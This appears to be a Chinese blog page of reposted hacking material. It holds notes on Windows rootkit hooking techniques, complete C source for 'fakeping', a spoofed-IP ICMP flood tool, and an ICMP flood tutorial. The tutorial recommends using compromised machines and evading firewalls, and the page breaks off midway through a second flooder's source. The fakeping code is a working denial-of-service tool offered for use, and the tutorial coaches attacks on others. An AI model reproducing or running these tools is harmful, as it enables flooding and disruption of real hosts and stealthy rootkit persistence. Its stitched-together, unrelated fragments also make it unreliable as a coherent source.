你可以在标准的URL后面附加 ?action=test 进行测试。这样可以得到一个称为"MoinMoin Diagnosis"的页面,它给出了很多信息。大部分信息只对开发者有用处,但是如果你就是其中一员或者是Python geek 你会发现这些信息很有用处。

如果本页上没有你的问题的答案,请看MoinMoinQuestions.

此页的英文版本 HelpMiscellaneous/FrequentlyAskedQuestions

- 作者: kevin 2006年05月18日, 星期四 18:21  回复(0) |  引用(0) 加入博采

vxk的rootkit 技术小结 (ZZ)

by vxk

My Root Kit Note

0. What the Root kit Real Mean For?

Root Kit is a kind of tools to hide itself or other files or process from normal users' eyes or take privileges for whom could control it...

1. Live With Hooks: Hook and Anti-Hook

To Hide Some Files or Process or Even Rebuild a Root kit’s Network may use hooking.

1.1 API HOOK

It's a long time this kind of hooking existed working with IAT or EAT or some time maybe inline. But it is very easy to defeat them, only to read and map a file in correct way then do right relocations, And then you would get real API address or the right code of API’s entry point.

1.2 SSDT HOOK

Sometimes when the API hook (base on pe-file structure) failed to defeat the hook-check, and some apiz wanted is non-exported, I got to SSDT way to hook, it is also a very long time since it turned to normal. And it is easy to find and fix too. One who can only read ntos kernel file and remap the SSDT could remove or check this kind of hooks.

1.3 IRP HOOK

PDriverObject->MajorFunction [MajorFunction] =XX XX XX XX

ZZ=MajorFunction*4+0x38

C7 46ZZ [<80] XX XX XX XX mov dword ptr [esi+50h], offset _FsdSetInformation@8

C7 86 ZZ[>=80] XX XX XX XX

C7 43 ZZ [<80] XX XX XX XX mov dword ptr [ebx+50h], offset _FsdSetInformation@8

C7 83 ZZ[>=80] XX XX XX XX

Whatever FSD, TDI or other devices and drivers, they have the same thing IRP-Dispatch-Routine, which we hook only by rewrite an address in driver object structure, And it is more powerful then filter-driver(if a root kit is a filter driver it will be easy to find out. Even easily to bypass...)But still some one can read driver files ,and from the DrvierEntry point to get the real irps' VA (just taking a look at icesword by pjf),to make every one understand how to get real irps' VA,I give some details follow:

1.4 Interrupt Hook

For an example, a key logger root kit hook keyboard interrupts. Many powerful root kits to make themselves more useful use interrupts hook. It is hard to find out an interrupt hook on the range out of KiTrapXX's range (910920 put a way to read KiTrapXX’s Address from file...), and also hard to recover. But there is a will there is a way... (I do not know how to get a real address of an ISR which is not set by ntos kernel. But keyboard driver can tell me the real keyboard interrupt, it is hardcode searching...not good way)

1.5 NDIS Open Block Hook

A powerful root kit must support network in kernel mode. For this target, it may use TDI or NDISbut TDI is easy to find or be defeated by anti-spy, so NDIS may be a good choice. Some root kit use IpFltDrv to reuse sock and do its own networkhowever, it is not nice ,many anti-spy can find the IpFltDrv changing, and IpFltDrv can only register one, it would be registered by others. As far as I see, the root kit uty_rk@winXp use protocols open block hooks to own the network. But actually it would crash when it were running with some anti-spy. So there is another way on Miniport layerit is to hook NDISWAN Miniport Open Block, but there is a problem in how to get the list of NDIS miniport , see the NDIS IM Driver register course ,we know NdisIMRegisterLayeredMiniport can return a verb which is the a pointer to the list. And we can just register a fake IM to get the list pointer and then we could hook them just like hook protocol open blocks. To find this kind of hook must using hardcode search to find some VA from ndis.sys and tcpip.sys and ndiswan.sys.

1.6 Non-exported Inline Hook

Anti-spy may use inline hook to hook some important non-exported kernel mode calls and makes root kit difficult to do its work. And root kit can also use inline hook to bypass some checks. To find or recover an inline hook must use remap files and redo relocations, then compare the mappings and memory just like SVV. The recover of an inline hook might turn to a BSOD in the end.

2. Kernel Network: TDI and NDISBlue or Goal 

Every useful root kit must support networking with kernel socket.

2.1 TDI

       Most of free versions of root kit are using TDI Client Technology to make a kernel socket. But with the time changing, it is not useful today.

2.2 NDIS

       hug_ntrootkit4.0@winNt/2k used registering NDIS Protocol to do its networking; uty_rk@winXp used NDIS Protocol Open Block Hooks to do the same thing. EVA_rk@winNt (no public version) used NDIS Miniport Open Block Hooks, and iceberg wrote a full-version tcp sock based on NDIS Miniport Open Block Hooks. But in my project bdrk and winss (no public version and still in construction), NDIS Miniport Open Block Hooks sit many blue screens…

3. KDOM: Fast to Die or

A Good Way
?

       Fu_rk@winNT brings a new way to hide process and get privileges and do some things only by modifying some structures in system memory.

      Every coin has two faces, KDOM can do nearly every things but the target which will be modified is hard to get the right positions. And hardcode the offset or address may cause the system crashed. To find the KDOM modified is easy, only to use another link list or another database head…

 

4. Final

       I am Chinese, and my English is very poor.

       Contact me:

                            cvcvxk@gmail.com

- 作者: kevin 2006年05月16日, 星期二 15:19  回复(0) |  引用(0) 加入博采

fakeping for win2k代码(zz)
[转载]fakeping for win2k代码

文章作者:shotgun

//////////////////////////////////////////////////////////////////////////
//         //  
// fakeping for win2k by shotgun     //
//         //
// released: [2001.4]      //
// author: [shotgun]      //
// homepage:        //
//  [
http://it.xici.net]     //
//  [
http://www.patching.net]    //
//         //
//////////////////////////////////////////////////////////////////////////
#include <winsock2.h>
#include <ws2tcpip.h>
#include <stdio.h>
#include <stdlib.h>
#define seq 0x28376839
#define status_failed 0xffff //错误返回值
typedef struct _iphdr  //定义ip首部
{
unsigned char h_verlen;  //4位首部长度,4位ip版本号
unsigned char tos;  //8位服务类型tos
unsigned short total_len; //16位总长度(字节)
unsigned short ident;  //16位标识
unsigned short frag_and_flags; //3位标志位
unsigned char ttl;  //8位生存时间 ttl
unsigned char proto;  //8位协议 (tcp, udp 或其他)
unsigned short checksum; //16位ip首部校验和
unsigned int sourceip;  //32位源ip地址
unsigned int destip;  //32位目的ip地址
}ip_header;
//
// 定义icmp首部
typedef struct _ihdr
{
byte i_type;    //8位类型
byte i_code;   //8位代码
ushort i_cksum;   //16位校验和
ushort i_id;   //识别号(一般用进程号作为识别号)
ushort i_seq;   //报文序列号
ulong timestamp;  //时间戳
}icmp_header;

//checksum:计算校验和的子函数
ushort checksum(ushort *buffer, int size)
{
 unsigned long cksum=0;
 while(size >1) {
cksum+=*buffer++;
size -=sizeof(ushort);
 }
 if(size ) {
cksum += *(uchar*)buffer;
 }
 cksum = (cksum >> 16) + (cksum & 0xffff);
 cksum += (cksum >>16);
 return (ushort)(~cksum);
}
//fakeping主函数
int main(int argc, char **argv)
{
int datasize,errorcode,counter,flag;
int timeout=2000, sendseq=0, paketsize=32;
char sendbuf[65535]={0};
wsadata wsadata;
socket sockraw=(socket)null;
struct sockaddr_in destaddr;
ip_header ip_header;
icmp_header icmp_header;
char fakesourceip[20],destip[20];
//接受命令行参数
if (argc<3)
{
 printf("fakeping by shotgun\n");
 printf("\tthis program can do ping-flooding from a fakeip\n");
 printf("\tusing a broadcast ip as the fakeip will enhance the effect\n");
 printf("email:\n");
 printf("\
tshotgun@xici.net\n");
 printf("homepage:\n");
 printf("\thttp://it.xici.net\n");
 printf("\thttp://www.patching.net\n");
 printf("usage:\n\tfakeping.exe fakesourceip destinationip [packetsize]\n");
 printf("example:\n");
 printf("\tfakeping.exe 192.168.15.23 192.168.15.255\n");
 printf("\tfakeping.exe 192.168.15.23 192.168.15.200 6400\n");
 exit(0);
}
strcpy(fakesourceip,argv[1]);
strcpy(destip,argv[2]);
if (argc>3) packetsize=atoi(argv[3]);
if (packetsize>60000)
{
 printf("error! packet size too big, must <60k\n");
 exit(0);
}
printf("now fake %s ping %s using packet size=%d bytes\n",
  fakesourceip, destip, packetsize);
printf("\tctrl+c to quit\n");
//初始化sock_raw
if((errorcode=wsastartup(makeword(2,1),&wsadata))!=0)
{
 fprintf(stderr,"wsastartup failed: %d\n",errorcode);
 exitprocess(status_failed);
}
if((sockraw=wsasocket(af_inet,sock_raw,ipproto_raw,null,0,wsa_flag_overlapped))==invalid_socket)
{
 fprintf(stderr,"wsasocket() failed: %d\n",wsagetlasterror());
 exitprocess(status_failed);
}
flag=true;
//设置ip_hdrincl以自己填充ip首部
errorcode=setsockopt(sockraw,ipproto_ip,ip_hdrincl,(char *)&flag,sizeof(int));
if(errorcode==socket_error)
 printf("set ip_hdrincl error!\n");
__try{
 //设置发送超时
 errorcode=setsockopt(sockraw,sol_socket,so_sndtimeo,(char*)&timeout,sizeof(timeout));
 if (errorcode==socket_error)
 {
   fprintf(stderr,"failed to set send timeout: %d\n",wsagetlasterror());
  __leave;
 }
 memset(&destaddr,0,sizeof(destaddr));
 destaddr.sin_family=af_inet;
 destaddr.sin_addr.s_addr=inet_addr(destip);
 //填充ip首部
 ip_header.h_verlen=(4<<4 | sizeof(ip_header)/sizeof(unsigned long)); //高四位ip版本号,低四位首部长度
 ip_header.total_len=htons(sizeof(ip_header)+sizeof(icmp_header)); //16位总长度(字节)
 ip_header.ident=1;       //16位标识
 ip_header.frag_and_flags=0;      //3位标志位
 ip_header.ttl=128;       //8位生存时间 ttl
 ip_header.proto=ipproto_icmp;      //8位协议 (tcp, udp 或其他)
 ip_header.checksum=0;       //16位ip首部校验和
 ip_header.sourceip=inet_addr(fakesourceip);    //32位源ip地址
 ip_header.destip=inet_addr(destip);     //32位目的ip地址
 //填充icmp首部
 icmp_header.i_type = 8;
 icmp_header.i_code = 0;
 icmp_header.i_cksum = 0;
 icmp_header.i_id = 2;
 icmp_header.timestamp = 999;
 icmp_header.i_seq=999;
 memcpy(sendbuf, &icmp_header, sizeof(icmp_header));
 memset(sendbuf+sizeof(icmp_header), ‘e‘, packetsize);
 icmp_header.i_cksum = checksum((ushort *)sendbuf, sizeof(icmp_header)+packetsize);
 memcpy(sendbuf,&ip_header,sizeof(ip_header));
 memcpy(sendbuf+sizeof(ip_header), &icmp_header, sizeof(icmp_header));
 memset(sendbuf+sizeof(ip_header)+sizeof(icmp_header), ‘e‘, packetsize);
 memset(sendbuf+sizeof(ip_header)+sizeof(icmp_header)+packetsize, 0, 1);
 //计算发送缓冲区的大小
 datasize=sizeof(ip_header)+sizeof(icmp_header)+packetsize;
 ip_header.checksum=checksum((ushort *)sendbuf,datasize);
 //填充发送缓冲区
 memcpy(sendbuf,&ip_header, sizeof(ip_header));
 while(1)
 {
  sleep(100);
  printf(".");
  for(counter=0;counter<1024;counter++)
  {
  //发送icmp报文
  errorcode=sendto(sockraw,sendbuf,datasize,0,(struct sockaddr*)&destaddr,sizeof(destaddr));
  if (errorcode==socket_error) printf("\nsend error:%d\n",getlasterror());
  }
 }
}//end of try
 __finally {
if (sockraw != invalid_socket) closesocket(sockraw);
wsacleanup();
 }
 return 0;
}

- 作者: kevin 2006年05月13日, 星期六 18:42  回复(0) |  引用(0) 加入博采

浅析ICMP洪水攻击 (zz)
一、什么是ICMP协议?
ICMP全称Internet Control Message Protocol(网际控制信息协议)。提起ICMP,一些
人可能会感到陌生,实际上,ICMP与我们息息相关。在网络体系结构的各层次中,都需
要控制,而不同的层次有不同的分工和控制内容,IP层的控制功能是最复杂的,主要负
责差错控制、拥塞控制等,任何控制都是建立在信息的基础之上的,在基于IP数据报的
网络体系中,网关必须自己处理数据报的传输工作,而IP协议自身没有内在机制来获取
差错信息并处理。为了处理这些错误,TCP/IP设计了ICMP协议,当某个网关发现传输错
误时,立即向信源主机发送ICMP报文,报告出错信息,让信源主机采取相应处理措施,
它是一种差错和控制报文协议,不仅用于传输差错报文,还传输控制报文。
二、ICMP报文格式
ICMP报文包含在IP数据报中,属于IP的一个用户,IP头部就在ICMP报文的前面,所以一
个ICMP报文包括IP头部、ICMP头部和ICMP报文(见图表,ICMP报文的结构和几种常见的
ICMP报文格式),IP头部的Protocol值为1就说明这是一个ICMP报文,ICMP头部中的类型
(Type)域用于说明ICMP报文的作用及格式,此外还有一个代码(Code)域用于详细说
明某种ICMP报文的类型,所有数据都在ICMP头部后面。RFC定义了13种ICMP报文格式,具
体如下:
类型代码类型描述
0响应应答(ECHO-REPLY)
3不可到达
4源抑制
5重定向
8响应请求(ECHO-REQUEST)
11超时
12参数失灵
13时间戳请求
14时间戳应答
15信息请求(*已作废)
16信息应答(*已作废)
17地址掩码请求
18地址掩码应答
其中代码为15、16的信息报文已经作废。
下面是几种常见的ICMP报文:
1.响应请求
我们日常使用最多的ping,就是响应请求(Type=8)和应答(Type=0),一台主机向一
个节点发送一个Type=8的ICMP报文,如果途中没有异常(例如被路由器丢弃、目标不回
应ICMP或传输失败),则目标返回Type=0的ICMP报文,说明这台主机存在,更详细的tr
acert通过计算ICMP报文通过的节点来确定主机与目标之间的网络距离。
2.目标不可到达、源抑制和超时报文
这三种报文的格式是一样的,目标不可到达报文(Type=3)在路由器或主机不能传递数
据报时使用,例如我们要连接对方一个不存在的系统端口(端口号小于1024)时,将返
回Type=3、Code=3的ICMP报文,它要告诉我们:“嘿,别连接了,我不在家的!”,常
见的不可到达类型还有网络不可到达(Code=0)、主机不可到达(Code=1)、协议不可
到达(Code=2)等。源抑制则充当一个控制流量的角色,它通知主机减少数据报流量,
由于ICMP没有恢复传输的报文,所以只要停止该报文,主机就会逐渐恢复传输速率。最
后,无连接方式网络的问题就是数据报会丢失,或者长时间在网络游荡而找不到目标,
或者拥塞导致主机在规定时间内无法重组数据报分段,这时就要触发ICMP超时报文的产
生。超时报文的代码域有两种取值:Code=0表示传输超时,Code=1表示重组分段超时。

3.时间戳
时间戳请求报文(Type=13)和时间戳应答报文(Type=14)用于测试两台主机之间数据
报来回一次的传输时间。传输时,主机填充原始时间戳,接收方收到请求后填充接收时
间戳后以Type=14的报文格式返回,发送方计算这个时间差。一些系统不响应这种报文。

三、回到正题:这样的攻击有效吗?
在前面讲过了,ping使用的是ECHO应答,不知道大家注意过没有,ping的返回很慢,用
NetXRAY抓包仅为1--5包/秒,这是为什么呢?事实上,ICMP本身并不慢(由于ICMP是SO
CK_RAW产生的原始报文,速度比SOCK_STREAM的SYN和SOCK_DGRAM的UDP要快几乎10倍!)
,这样的速度是ping程序故意延迟的(为什么?M$可不想每个人都能用ping来干坏事)
,同样,我测试过一些号称“ping洪水”的程序,发现它们的效率和ping.exe没什么两
样,经过Dependency Walker查看程序调用的函数发现,他们用的是icmp.dll提供的Icm
pSendEcho这个API,这个函数是计算ECHO时间的,速度当然慢!而那两个“高手”号召
的ping攻击实际上就是为了实现ICMP洪水攻击,但是他们用的方法……想想洪水的速度
和山涧小溪的速度相差多少吧!就用ping.exe和IcmpSendEcho这种小溪慢慢流淌的速度
能做什么?还不是让人家看笑话!这种攻击根本就是浪费自己的时间!(如今还经常有
人问ping -l 65500 -t的攻击威力如何……哎,悲哀啊悲哀……)
四、什么是ICMP洪水?
1.ICMP洪水的成因
ping.exe和IcmpSendEcho速度慢的另一个原因是它们必须等待目标主机返回REPLY信息,
这个过程需要花费大量时间,而Flood——洪水,顾名思义,是速度极快的,当一个程序
发送数据包的速度达到了每秒1000个以上,它的性质就成了洪水产生器,洪水数据是从
洪水产生器里出来的,但这样还不够,没有足够的带宽,再猛的洪水也只能像公路塞车
那样慢慢移动,成了鸡肋。要做真正的洪水,就需要有一条足够宽的高速公路才可以。
极慢的发送速度+56Kbps小猫等于什么?等于一个未关紧的水龙头,根本没用。
由于ping.exe无法提速,这就需要专门的工具来做洪水了。足够快的数据包速度+足够的
带宽,这才是洪水。
2.实现ICMP洪水的前提
最大的前提是攻击者的速度!如果你要用56K拨号去攻击一个512Kbps ADSL用户,后果和
一只蚂蚁伸腿想绊倒大象的天方夜谭是一样的!其次是你的机器运行速度和数据吞吐量
,由于涉及IP校验和的计算(先设置头校验和域的数值为0,然后对整个数据报头按每1
6位求异或,再把结果取反,就得到了校验和),如果数据处理能力不够,在这步就慢了
一个级别,效果当然大打折扣。最后就是目标机器的带宽!如果对方比你大很多(例如
你2M ADSL,别人用DDN或T1),那么任何Flood都是无病呻吟,挠痒都不够!(希望不要
再问“小金,你的R-Series怎么不好用啊”、“我用小金的AnGryPing攻击别人半天都没
事!”、“独裁者的攻击怎么无效啊?”这样的问题了,天啊,我头都大了!)
还有许多人都忽略的问题:发送的速度与数据包大小成反比,而且太大的数据包会被路
由器等设备过滤掉!找到一个合适的数据包大小,对提高Flood的效率有很大帮助!
3.洪水——两败俱伤的攻击方式
别以为洪水无所不能,实际上,你展开洪水攻击时,攻击程序在消耗对方带宽和资源时
,也在消耗你的带宽和资源。这只是个看谁撑得住的攻击而已。实际上,有经验的攻击
者都是用被控制的服务器(肉鸡)来代替自己的机器发动攻击的,不到万不得已或者你
对自己的机器网速有自信,否则尽量少用自己的机器来拼搏!
五、不同方式的ICMP洪水
1.直接Flood
要做这个的首要条件是你的带宽够,然后就是要一个好用的ICMP Flooder,别用ping.e
xe那种探路用的垃圾,例如我以前发布的AnGryPing,发包速度达到6000---9000包/秒(
512 Kbps ADSL),默认是32bytes的ECHO报文洪水,用它即使不能flood别人下去,防火
墙也叫得够惨的了。直接攻击会暴露自己IP(如果对方没有还击能力那还无所谓,固定
IP用户不推荐使用这种Flood),直接Flood主要是为了顾及Win9x/Me不能伪造IP的缺陷
,否则一般还是别用为妙。
简单示意图:
                                  ICMP
攻击者[IP=211.97.54.3]--------------------------------->受害者[截获攻击者IP=
211.97.54.3]==>换IP回来反击,嘿嘿
2.伪造IP的Flood
如果你是Win2000/XP并且是Administrator权限,可以试试看FakePing,它能随意伪造一
个IP来Flood,让对方摸不到头脑,属于比较隐蔽阴险的Flood。
简单示意图:
                           伪造IP=1.1.1.1的ICMP
攻击者[IP=211.97.54.3]--------------------------------->受害者[截获攻击者IP=
1.1.1.1]==>倒死
3.反射
用采取这种方式的第一个工具的名称来命名的“Smurf”洪水攻击,把隐蔽性又提高了一
个档次,这种攻击模式里,最终淹没目标的洪水不是由攻击者发出的,也不是伪造IP发
出的,而是正常通讯的服务器发出的!
实现的原理也不算复杂,Smurf方式把源IP设置为受害者IP,然后向多台服务器发送ICM
P报文(通常是ECHO请求),这些接收报文的服务器被报文欺骗,向受害者返回ECHO应答
(Type=0),导致垃圾阻塞受害者的门口……
从示意图可以看出,它比上面两种方法多了一级路径——受骗的主机(称为“反射源”
),所以,一个反射源是否有效或者效率低下,都会对Flood效果造成影响!
简单示意图:
                           伪造受害者的ICMP                    应答
攻击者[IP=211.97.54.3]-------------------------->正常的主机--------------->受
害者[截获攻击者IP=……网易?!]==>哭啊……
以上是几种常见的Flood方式,在测试中,我发现一个有趣的现象:一些防火墙(如天网
)只能拦截ECHO请求(Ping)的ICMP报文,对于其他ICMP报文一概睁只眼闭只眼,不知
道其他防火墙有没有这个情况。所以想神不知鬼不觉对付你的敌人时,请尽量避开直接
ECHO Flood,换用Type=0的ECHO应答或Type=14的时间戳应答最好,其他类型的ICMP报文
没有详细测试过,大家可以试试看Type=3、4、11的特殊报文会不会有更大效果。
六、ICMP Flood能防吗?
先反问你一个问题:洪水迅猛的冲来时,你能否拿着一个脸盆来抵挡?(坐上脸盆做现
代鲁宾逊倒是个不错的主意,没准能漂到MM身边呢)
软件的网络防火墙能对付一些漏洞、溢出、OOB、IGMP攻击,但是对于洪水类型的攻击,
它们根本无能为力,我通常对此的解释是“倾倒垃圾”:“有蟑螂或老鼠在你家门前逗
留,你可以把它们赶走,但如果有人把一车垃圾倾倒在你家门口呢?”前几天看到mike
spook大哥对此有更体面的解释,转载过来——“香蕉皮原理:如果有人给你一个香蕉和
一个香蕉皮你能区分,并把没有用的香蕉皮扔掉。(一般软件防火墙就是这么判断并丢
弃数据包的。)但是如果有人在同一时间内在你身上倒一车香蕉皮,你再能区分有用没
用也没啥作用了~~因为你被香蕉皮淹没了~~~~(所以就算防火墙能区分是DoS的攻击数据
包,也只能识别,根本来不及丢弃~~死了,死了,死了~~)”
所以,洪水没法防!能做的只有提高自己的带宽和预防洪水的发生(虽然硬件防火墙和
分流技术能做到,但那价格是太昂贵的,而且一般人也没必要这样做)。
如果你正在被攻击,最好的方法是抓取攻击者IP(除非对方用第一种,否则抓了没用—
—假的IP)后,立即下线换IP!(什么?你是固定IP?没辙了,打电话找警察叔叔吧)

七、被ICMP Flood攻击的特征
如何发现ICMP Flood?
当你出现以下症状时,就要注意是否正被洪水攻击:
1.传输状态里,代表远程数据接收的计算机图标一直亮着,而你没有浏览网页或下载
2.防火墙一直提示有人试图ping你
3.网络速度奇慢无比
4.严重时系统几乎失去响应,鼠标呈跳跃状行走
如果出现这些情况,先不要慌张,冷静观察防火墙报警的频率及IP来确认是否普通的Pi
ng或是洪水,做出相应措施(其实大多数情况也只能换IP了)。
1.普通ping
这种“攻击”一般是对方扫描网络或用ping -t发起的,没多大杀伤力(这个时候,防火
墙起的作用就是延迟攻击者的数据报发送间隔时间,请别关闭防火墙!否则后果是严重
的!),常表现如下:
==============================================================
[13:09:20] 61.151.252.106 尝试用Ping 来探测本机,
          该操作被拒绝。
[13:09:24] 61.151.252.106 尝试用Ping 来探测本机,
          该操作被拒绝。
[13:09:26] 61.151.252.106 尝试用Ping 来探测本机,
          该操作被拒绝。
[13:09:30] 61.151.252.106 尝试用Ping 来探测本机,
          该操作被拒绝。
=============================================================
这么慢的速度,很明显是由ping.exe或IcmpSendEcho发出的,如果对方一直不停的让你
的防火墙吵闹,你可以给他个真正的ICMP Flood问候。
2.直接Flood
这是比较够劲的真正意义洪水了,防火墙的报警密度会提高一个数量级:
==============================================================
[13:09:20] 61.151.252.106 尝试用Ping 来探测本机,
          该操作被拒绝。
[13:09:20] 61.151.252.106 尝试用Ping 来探测本机,
          该操作被拒绝。
[13:09:20] 61.151.252.106 尝试用Ping 来探测本机,
          该操作被拒绝。
[13:09:20] 61.151.252.106 尝试用Ping 来探测本机,
          该操作被拒绝。
[13:09:20] 61.151.252.106 尝试用Ping 来探测本机,
          该操作被拒绝。
[13:09:20] 61.151.252.106 尝试用Ping 来探测本机,
          该操作被拒绝。
[13:09:20] 61.151.252.106 尝试用Ping 来探测本机,
          该操作被拒绝。
[13:09:20] 61.151.252.106 尝试用Ping 来探测本机,
          该操作被拒绝。
[13:09:20] 61.151.252.106 尝试用Ping 来探测本机,
          该操作被拒绝。
[13:09:20] 61.151.252.106 尝试用Ping 来探测本机,
          该操作被拒绝。
[13:09:20] 61.151.252.106 尝试用Ping 来探测本机,
          该操作被拒绝。
[13:09:20] 61.151.252.106 尝试用Ping 来探测本机,
          该操作被拒绝。
[13:09:20] 61.151.252.106 尝试用Ping 来探测本机,
          该操作被拒绝。
[13:09:20] 61.151.252.106 尝试用Ping 来探测本机,
          该操作被拒绝。
[13:09:20] 61.151.252.106 尝试用Ping 来探测本机,
          该操作被拒绝。
[13:09:21] 61.151.252.106 尝试用Ping 来探测本机,
          该操作被拒绝。
[13:09:21] 61.151.252.106 尝试用Ping 来探测本机,
          该操作被拒绝。
[13:09:21] 61.151.252.106 尝试用Ping 来探测本机,
          该操作被拒绝。
[13:09:21] 61.151.252.106 尝试用Ping 来探测本机,
          该操作被拒绝。
[13:09:21] 61.151.252.106 尝试用Ping 来探测本机,
          该操作被拒绝。
[13:09:21] 61.151.252.106 尝试用Ping 来探测本机,
          该操作被拒绝。
[13:09:21] 61.151.252.106 尝试用Ping 来探测本机,
          该操作被拒绝。
[13:09:21] 61.151.252.106 尝试用Ping 来探测本机,
          该操作被拒绝。
=============================================================
这时候你的防火墙实际上已经废了,换个IP吧。
3.伪造IP的Flood
比较厉害的ICMP Flood,使用的是伪造的IP而且一样大密度,下面是the0crat用56K拨号
对我的一次攻击测试的部分数据(看看时间,真晕了,这可是56K小猫而已啊)
=============================================================
[18:52:12] 1.1.1.1 尝试用Ping 来探测本机,
         该操作被拒绝。
[18:52:12] 1.1.1.1 尝试用Ping 来探测本机,
         该操作被拒绝。
[18:52:12] 1.1.1.1 尝试用Ping 来探测本机,
         该操作被拒绝。
[18:52:12] 1.1.1.1 尝试用Ping 来探测本机,
         该操作被拒绝。
[18:52:12] 1.1.1.1 尝试用Ping 来探测本机,
         该操作被拒绝。
[18:52:12] 1.1.1.1 尝试用Ping 来探测本机,
         该操作被拒绝。
[18:52:12] 1.1.1.1 尝试用Ping 来探测本机,
         该操作被拒绝。
[18:52:12] 1.1.1.1 尝试用Ping 来探测本机,
         该操作被拒绝。
[18:52:12] 1.1.1.1 尝试用Ping 来探测本机,
         该操作被拒绝。
[18:52:12] 1.1.1.1 尝试用Ping 来探测本机,
         该操作被拒绝。
[18:52:12] 1.1.1.1 尝试用Ping 来探测本机,
         该操作被拒绝。
[18:52:12] 1.1.1.1 尝试用Ping 来探测本机,
         该操作被拒绝。
[18:52:12] 1.1.1.1 尝试用Ping 来探测本机,
         该操作被拒绝。
[18:52:12] 1.1.1.1 尝试用Ping 来探测本机,
         该操作被拒绝。
[18:52:12] 1.1.1.1 尝试用Ping 来探测本机,
         该操作被拒绝。
[18:52:13] 1.1.1.1 尝试用Ping 来探测本机,
         该操作被拒绝。
=============================================================
无言…………
4、反射ICMP Flood
估计现在Smurf攻击还没有多少人会用(R-Series的RSS.EXE就是做这事的,RSA.EXE和R
SC.EXE分别用作SYN反射和UDP反射),所以这种方法还没有大规模出现,但Smurf是存在
的!而且这个攻击方法比前面几种更恐怖,因为攻击你的是大网站(或一些受苦受难的
服务器)!
我正在被网易、万网和新浪网站攻击中(懒得修改天网策略,直接用其他工具抓的。实
际攻击中,反射的IP会多几倍!)
=======================================================================
[15:26:32] RECV:ICMP Packet from 202.108.37.36 (Type=0,Code=0,Len=52)
[15:26:32] RECV:ICMP Packet from 202.108.36.206 (Type=0,Code=0,Len=52)
[15:26:32] RECV:ICMP Packet from 210.192.103.30 (Type=0,Code=0,Len=52)
[15:26:32] RECV:ICMP Packet from 202.108.37.36 (Type=0,Code=0,Len=52)
[15:26:32] RECV:ICMP Packet from 210.192.103.30 (Type=0,Code=0,Len=52)
[15:26:32] RECV:ICMP Packet from 202.108.36.206 (Type=0,Code=0,Len=52)
[15:26:32] RECV:ICMP Packet from 202.108.37.36 (Type=0,Code=0,Len=52)
[15:26:32] RECV:ICMP Packet from 210.192.103.30 (Type=0,Code=0,Len=52)
[15:26:32] RECV:ICMP Packet from 210.192.103.30 (Type=0,Code=0,Len=52)
[15:26:32] RECV:ICMP Packet from 202.108.36.206 (Type=0,Code=0,Len=52)
[15:26:33] RECV:ICMP Packet from 210.192.103.30 (Type=0,Code=0,Len=52)
[15:26:33] RECV:ICMP Packet from 202.108.36.206 (Type=0,Code=0,Len=52)
[15:26:33] RECV:ICMP Packet from 202.108.37.36 (Type=0,Code=0,Len=52)
[15:26:33] RECV:ICMP Packet from 202.108.37.36 (Type=0,Code=0,Len=52)
[15:26:33] RECV:ICMP Packet from 202.108.36.206 (Type=0,Code=0,Len=52)
[15:26:33] RECV:ICMP Packet from 210.192.103.30 (Type=0,Code=0,Len=52)
[15:26:33] RECV:ICMP Packet from 202.108.37.36 (Type=0,Code=0,Len=52)
[15:26:33] RECV:ICMP Packet from 202.108.36.206 (Type=0,Code=0,Len=52)
[15:26:33] RECV:ICMP Packet from 210.192.103.30 (Type=0,Code=0,Len=52)
======================================================================
可以看出,攻击者使用的是32bytes的ECHO请求,所以服务器返回52-20=32bytes的REPL
Y报文,在这个情况下,天网是不会报警的。
还是那句话,报警也没用了。
八、自己编写ICMP Flooder
以上说的都是理论,如何才能自己写一个呢?相信很多人已经跃跃欲试了,下面就用VC
6.0来写一个直接的ICMP Flooder(能在Win98/Me环境使用)……先等等——最重要的是
原理。
1.程序原理
当然不能用IcmpSendEcho来做,我们必须自己从最原始的IP报文里做一个。构造一个SO
CK_RAW报文后,填充ICMP数据和计算校验和(CheckSum),循环sendto发出去就完成了
,so easy!
2.ICMP报文的声明
一个ICMP报文包括IP头部、ICMP头部和ICMP报文,用IPPROTO_ICMP创建这个类型的IP包
,用以下结构填充:
typedef struct _ihdr
{
BYTE i_type; //8位类型
BYTE i_code; //8位代码
USHORT i_cksum; //16位校验和
USHORT i_id; //识别号
USHORT i_seq; //报文序列号
ULONG timestamp; //时间戳
}ICMP_HEADER;
这样我们就声明了一个ICMP报文结构,就等后面的填充了。
3.校验和
计算方法:先设置头校验和域的数值为0,然后对整个数据报头按每16位求异或,再把结
果取反,就得到了校验和。
函数:
USHORT checksum(USHORT *buffer, int size)
{
unsigned long cksum=0;
while(size >1)
  {
    cksum+=*buffer++;
    size -=sizeof(USHORT);
  }
if(size )
  {
    cksum += *(UCHAR*)buffer;
  }
cksum = (cksum >> 16) + (cksum & 0xffff);
cksum += (cksum >>16);
return (USHORT)(~cksum);
}
4.必须注意的问题
由于Win98/Me系统不支持IP-Spoof,所以无法用setsockopt设置IP_HDRINCL让用户自己
填充IP头部,所以Win98/Me不能实现IP伪造!如果有人做的号称能伪造IP的工具而且又
支持Win98/Me,那一定是吹出来的,因为这是系统限制,程序没法解决的。而且自己填
充IP头部后,CheckSum就不是由系统计算了,这时候你的CheckSum计算函数就变成瓶颈
了,这就是伪造IP后的Flooder发送速度不够系统计算CheckSum的Flooder快的原因了,
除非优化过CheckSum函数。限于篇幅,采用IP-Spoof技术的FakePing和Smurf就不讨论了

5.完整代码
做一个Console Application工程,输入下面的代码。如果优化得当,最终编译生成的E
XE也就4096字节而已,呵呵,just do it……
==================================================
/*
agp.c
AnGryPing -- ICMP Flooder by HBU·小金(LK007)
Copyright(C) 2002
E-MAIL:lk007@163.com
*/
#include <stdio.h>
#include <winsock2.h>
#include <ws2tcpip.h>
#pragma comment(lib, "ws2_32.lib")
//头文件和库文件声明,如果不能编译,请在Link里加上ws2_32.lib
#define false 0
#define true 1
#define SEQ 0x28376839
// 定义ICMP首部
typedef struct _ihdr
{
BYTE i_type; //8位类型
BYTE i_code; //8位代码
USHORT i_cksum; //16位校验和
USHORT i_id; //识别号
USHORT i_seq; //报文序列号
ULONG timestamp; //时间戳
}ICMP_HEADER;
//计算校验和的子函数
USHORT checksum(USHORT *buffer, int size)
{
unsigned long cksum=0;
while(size >1)
  {
    cksum+=*buffer++;
    size -=sizeof(USHORT);
  }
if(size )
  {
    cksum += *(UCHAR*)buffer;
  }
cksum = (cksum >> 16) + (cksum & 0xffff);
cksum += (cksum >>16);
return (USHORT)(~cksum);
}
int main(int argc, char **argv)
{
int datasize,ErrorCode,flag;
